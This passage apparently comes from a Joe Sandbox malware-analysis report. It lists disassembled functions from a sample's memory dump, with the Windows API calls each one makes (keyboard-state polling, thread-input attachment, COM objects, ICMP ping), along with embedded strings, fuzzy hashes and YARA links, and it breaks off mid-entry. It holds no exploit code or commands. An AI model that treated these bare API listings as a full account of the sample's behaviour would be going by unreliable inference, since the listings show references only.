Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: cd8c0fa7db2205dbc29c67d6e5b6753e751840939d5cf209a25346ced8b1d033
Instruction ID: 000a703c839b1a4a1b875f7d3829f3bf3f3eaed958cac41fe35b850e6875b7d7
Opcode Fuzzy Hash: cd8c0fa7db2205dbc29c67d6e5b6753e751840939d5cf209a25346ced8b1d033
Instruction Fuzzy Hash: 12414B72C10228ABCF15EFA4DC85CEEB778FF85750F554129E915A3161EB30AE44CBA1

Function 00963C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00963C5C
CoInitialize.OLE32(00000000), ref: 00963C8A
CoUninitialize.OLE32 ref: 00963C94
_wcslen.LIBCMT ref: 00963D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 00963DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 00963ED5
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00963F0E
CoGetObject.OLE32(?,00000000,0097FB98,?), ref: 00963F2D
SetErrorMode.KERNEL32(00000000), ref: 00963F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00963FC4
VariantClear.OLEAUT32(?), ref: 00963FD8

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: 18a8a4b7a482d2ec60922089ebda865a796e540831b606cdafd978ba0836438a
Instruction ID: eeecf090df5bd493aca17869421e9f1c0981b5a9cb500d2a485eee48661e4e56
Opcode Fuzzy Hash: 18a8a4b7a482d2ec60922089ebda865a796e540831b606cdafd978ba0836438a
Instruction Fuzzy Hash: B2C125B1608305AFD700DF68C88492BBBE9FF89744F14891DF98A9B251D731EE45CB52

Function 00957A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00957AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00957B8F
SHGetDesktopFolder.SHELL32(?), ref: 00957BA3
CoCreateInstance.OLE32(0097FD08,00000000,00000001,009A6E6C,?), ref: 00957BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00957C74
CoTaskMemFree.OLE32(?,?), ref: 00957CCC
SHBrowseForFolderW.SHELL32(?), ref: 00957D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00957D7A
CoTaskMemFree.OLE32(00000000), ref: 00957D81
CoTaskMemFree.OLE32(00000000), ref: 00957DD6
CoUninitialize.OLE32 ref: 00957DDC

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: bbc07fcba399a029b743a9eea76622641da38d96a12b795507abbbc9e3df88e0
Instruction ID: cdf42c23b0d598ea32007278ce1e18d03305193d9eabe44192bee8f1a3086595
Opcode Fuzzy Hash: bbc07fcba399a029b743a9eea76622641da38d96a12b795507abbbc9e3df88e0
Instruction Fuzzy Hash: C5C12B75A04209AFCB14DFA5D884DAEBBF9FF48305B148499E81ADB361D730EE45CB90

Function 0097541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00975504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00975515
CharNextW.USER32(00000158), ref: 00975544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00975585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 0097559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 009755AC

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: bd5101f14bdd6c13cb6c5fc6791e76bf527444c2e9272d8cfddc24fc9f9fb612
Instruction ID: db4edbe1d2fdb4753202b19e0dfb16fc417fa7965ea901f555159bdf6ea00e01
Opcode Fuzzy Hash: bd5101f14bdd6c13cb6c5fc6791e76bf527444c2e9272d8cfddc24fc9f9fb612
Instruction Fuzzy Hash: 7F61C072904609EFDF508F50CC84AFE7BB9FF05720F518549F629A62A0D7B49A80DB60

Function 0093FA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 0093FAAF
SafeArrayAllocData.OLEAUT32(?), ref: 0093FB08
VariantInit.OLEAUT32(?), ref: 0093FB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 0093FB3A
VariantCopy.OLEAUT32(?,?), ref: 0093FB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 0093FBA1
VariantClear.OLEAUT32(?), ref: 0093FBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 0093FBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0093FBCC
VariantClear.OLEAUT32(?), ref: 0093FBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0093FBE9

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 4fc4d15c035b8898abb8bf8fee294320ed71a29ea65dd25dff6742f6c70c0cce
Instruction ID: 167dcb07f6a5b366e233ecfe48edd4c58484b52e796e228bc7ff4a17ac0e3935
Opcode Fuzzy Hash: 4fc4d15c035b8898abb8bf8fee294320ed71a29ea65dd25dff6742f6c70c0cce
Instruction Fuzzy Hash: 04414F75E04219AFCB00DF68D8689AEBBB9FF48344F008069E959E7261DB34A945CF90

Function 00949C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00949CA1
GetAsyncKeyState.USER32(000000A0), ref: 00949D22
GetKeyState.USER32(000000A0), ref: 00949D3D
GetAsyncKeyState.USER32(000000A1), ref: 00949D57
GetKeyState.USER32(000000A1), ref: 00949D6C
GetAsyncKeyState.USER32(00000011), ref: 00949D84
GetKeyState.USER32(00000011), ref: 00949D96
GetAsyncKeyState.USER32(00000012), ref: 00949DAE
GetKeyState.USER32(00000012), ref: 00949DC0
GetAsyncKeyState.USER32(0000005B), ref: 00949DD8
GetKeyState.USER32(0000005B), ref: 00949DEA

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: cbf40bca3d369b864f09c2624ee68957303565ef5c6c5f14602760491a607422
Instruction ID: e419e3e6dfeb070023e542e9cef2bb30e508e38da1a8c11a6b9ba71a0db88330
Opcode Fuzzy Hash: cbf40bca3d369b864f09c2624ee68957303565ef5c6c5f14602760491a607422
Instruction Fuzzy Hash: 6641ED749087C96DFF319B60C844BB7BEE86F11344F04805EE6CA576C2D7A599C4C792

Function 0096055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 009605BC
inet_addr.WSOCK32(?), ref: 0096061C
gethostbyname.WSOCK32(?), ref: 00960628
IcmpCreateFile.IPHLPAPI ref: 00960636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 009606C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 009606E5
IcmpCloseHandle.IPHLPAPI(?), ref: 009607B9
WSACleanup.WSOCK32 ref: 009607BF

Strings

Ping, xrefs: 00960676

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 49d4fb7076dd2dca5efed0c7b98a1bd62521c9413a9d924cfa55a6ae7c0be925
Instruction ID: 3cfb6cedb31e3142c09fb169f04dcce0ebbf1a5862989ad2b3ecc8755de1006a
Opcode Fuzzy Hash: 49d4fb7076dd2dca5efed0c7b98a1bd62521c9413a9d924cfa55a6ae7c0be925
Instruction Fuzzy Hash: 0C918C756082419FD320CF19D889F1ABBE4FF84318F1485A9F46A8B6A2C730ED41CF92

Function 00968CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00968CF3

Part of subcall function 00948E54: _wcslen.LIBCMT ref: 00948E77

_wcslen.LIBCMT ref: 00968D4E
_wcslen.LIBCMT ref: 00968D9C
_wcslen.LIBCMT ref: 00968DDC
_wcslen.LIBCMT ref: 00968E6E

Strings

winapi, xrefs: 00968D96, 00968D9B
none, xrefs: 00968E65, 00968E6A
cdecl, xrefs: 00968D48, 00968D4D
stdcall, xrefs: 00968DD6, 00968DDB

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: d39730fa5acb8b53a39dfc673d539e760bd85f697f1ac1a7c42a5e668142452e
Instruction ID: 46e879857f17c399457b43c38231ea2a83a661c1a97b8a17c3b0dcda21daca62
Opcode Fuzzy Hash: d39730fa5acb8b53a39dfc673d539e760bd85f697f1ac1a7c42a5e668142452e
Instruction Fuzzy Hash: A251BF72A001169BCF24EF6CC9509BFB7A9BF65724B204729E966E72C0DB35DD40C7A0

Function 0096372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00963774
CoUninitialize.OLE32 ref: 0096377F
CoCreateInstance.OLE32(?,00000000,00000017,0097FB78,?), ref: 009637D9
IIDFromString.OLE32(?,?), ref: 0096384C
VariantInit.OLEAUT32(?), ref: 009638E4
VariantClear.OLEAUT32(?), ref: 00963936

Strings

NULL Pointer assignment, xrefs: 0096381E
Failed to create object, xrefs: 009637E4, 0096389A
Invalid parameter, xrefs: 00963865

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: c1a8356646d906c43fbc11e8a122aa3587163c4d2d32e3473dc7229ed808f4db
Instruction ID: 83d60fbbb1cb757801e59c3a170467d22e4a31e9652a08cf7e08e47b3d4d8b06
Opcode Fuzzy Hash: c1a8356646d906c43fbc11e8a122aa3587163c4d2d32e3473dc7229ed808f4db
Instruction Fuzzy Hash: 17619071608311AFD310DF65C849FAABBE8EF89714F10881DF9859B291D770EE48CB92

Function 00953388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 009533CF

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 009533F0

Strings

^ ERROR , xrefs: 0095349E
"%s" (%d) : ==> %s:, xrefs: 00953522
Error: , xrefs: 009534D1
Line %d (File "%s"):, xrefs: 00953443, 0095345C
"%s" (%d) : ==> %s:%s%s, xrefs: 00953504
Incorrect parameters to object property !, xrefs: 009534AB

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: 646323731aabd659b46b72a2ab001de75e5f86d7752f10418c31d21758000979
Instruction ID: cd2287326320a41b52aeff50f4a3cd094614ba81fb9e81b70c64779308b5517b
Opcode Fuzzy Hash: 646323731aabd659b46b72a2ab001de75e5f86d7752f10418c31d21758000979
Instruction Fuzzy Hash: D051DF32800249AADF15EBA5CD46EEEB7B8FF45340F244165F509B20A2EB312F58DB61

Function 0094B5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 0094B5FC
_wcslen.LIBCMT ref: 0094B608
_wcslen.LIBCMT ref: 0094B64D
_wcslen.LIBCMT ref: 0094B68C
_wcslen.LIBCMT ref: 0094B6C7

Strings

REMOVE, xrefs: 0094B602, 0094B607
APPEND, xrefs: 0094B6C1, 0094B6C6
KEYS, xrefs: 0094B647, 0094B64C
EXISTS, xrefs: 0094B686, 0094B68B

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: 90643c22bfe11775bb45af2f2c34a4fc87683c4e3bafb0e2f64b286ca0c87c3e
Instruction ID: 06569ac1300098ff4f1c8b0337d24794073b5a2707730e5e3eff7002e96c5a76
Opcode Fuzzy Hash: 90643c22bfe11775bb45af2f2c34a4fc87683c4e3bafb0e2f64b286ca0c87c3e
Instruction Fuzzy Hash: AC41EC32A011279BCB205F7DC8909BE77A9BFA1B74B264529E921DB284E735CD81C790

Function 00955393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 009553A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00955416
GetLastError.KERNEL32 ref: 00955420
SetErrorMode.KERNEL32(00000000,READY), ref: 009554A7

Strings

INVALID, xrefs: 00955459
NOTREADY, xrefs: 0095544B
READONLY, xrefs: 00955452
UNKNOWN, xrefs: 00955444
READY, xrefs: 00955460, 00955468

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: cd10d6c01fd75c0c523ee032216a7551e962e201e109a482687eb14441855181
Instruction ID: 8b8b41149fcb1a22b1ebc98a8acc72f711b7373e802ce52645c2813b9bfaf0fb
Opcode Fuzzy Hash: cd10d6c01fd75c0c523ee032216a7551e962e201e109a482687eb14441855181
Instruction Fuzzy Hash: 4231D675A006049FD710DF6AC894BA97BF8FF45306F198069E805CB2A3D771DD8ACB91

Function 00973C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00973C79
SetMenu.USER32(?,00000000), ref: 00973C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00973D10
IsMenu.USER32(?), ref: 00973D24
CreatePopupMenu.USER32 ref: 00973D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00973D5B
DrawMenuBar.USER32 ref: 00973D63

Strings

0, xrefs: 00973C54
F, xrefs: 00973D4E

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: a528df7c2b759bf3b666855ab6d8d40a652b581be3822cb771c8b6a19420fb2c
Instruction ID: f78824ba80dc3afde11b800d0535cb077fb062869742d0dafa014b9054a7955b
Opcode Fuzzy Hash: a528df7c2b759bf3b666855ab6d8d40a652b581be3822cb771c8b6a19420fb2c
Instruction Fuzzy Hash: 04417F76615205EFDB24CF54D844ADA77B9FF89350F14802CF94A973A0D771AA10EF90

Function 00973A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00973A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00973AA0
GetWindowLongW.USER32(?,000000F0), ref: 00973AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00973AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00973B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00973BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00973BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00973BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00973BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00973C13

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: 95d1c6d4556be9fe8f437fe3743979895b939ced4d7d5f9c61aad2e3cec51f9b
Instruction ID: da4121b6eb043b2d8913baec635d32ed4a9e6ae32e6895d1b8f29f763565f32b
Opcode Fuzzy Hash: 95d1c6d4556be9fe8f437fe3743979895b939ced4d7d5f9c61aad2e3cec51f9b
Instruction Fuzzy Hash: 32619D72900248AFDB11DFA8CD81EEE77B8EF49710F148159FA19A7291C770AE41EB50

Function 0094B12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0094B151
GetForegroundWindow.USER32(00000000,?,?,?,?,?,0094A1E1,?,00000001), ref: 0094B165
GetWindowThreadProcessId.USER32(00000000), ref: 0094B16C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0094A1E1,?,00000001), ref: 0094B17B
GetWindowThreadProcessId.USER32(?,00000000), ref: 0094B18D
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,0094A1E1,?,00000001), ref: 0094B1A6
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0094A1E1,?,00000001), ref: 0094B1B8
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,0094A1E1,?,00000001), ref: 0094B1FD
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,0094A1E1,?,00000001), ref: 0094B212
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,0094A1E1,?,00000001), ref: 0094B21D

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 45e3b89b6b6973debd56d153f1500a3ce9b9dc9690211d7a551c24c0b8bd628a
Instruction ID: 0cf3dbd4bf576384e707974bc5eb6fed9eae98ce8a4ad620338def36857801da
Opcode Fuzzy Hash: 45e3b89b6b6973debd56d153f1500a3ce9b9dc9690211d7a551c24c0b8bd628a
Instruction Fuzzy Hash: 1B31CCB2568208BFDB20EF24DD98F6D7BADBF65721F108109FA14D6190D7B4DA809F60

Function 00912C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00912C94

Part of subcall function 009129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0091D7D1,00000000,00000000,00000000,00000000,?,0091D7F8,00000000,00000007,00000000,?,0091DBF5,00000000), ref: 009129DE
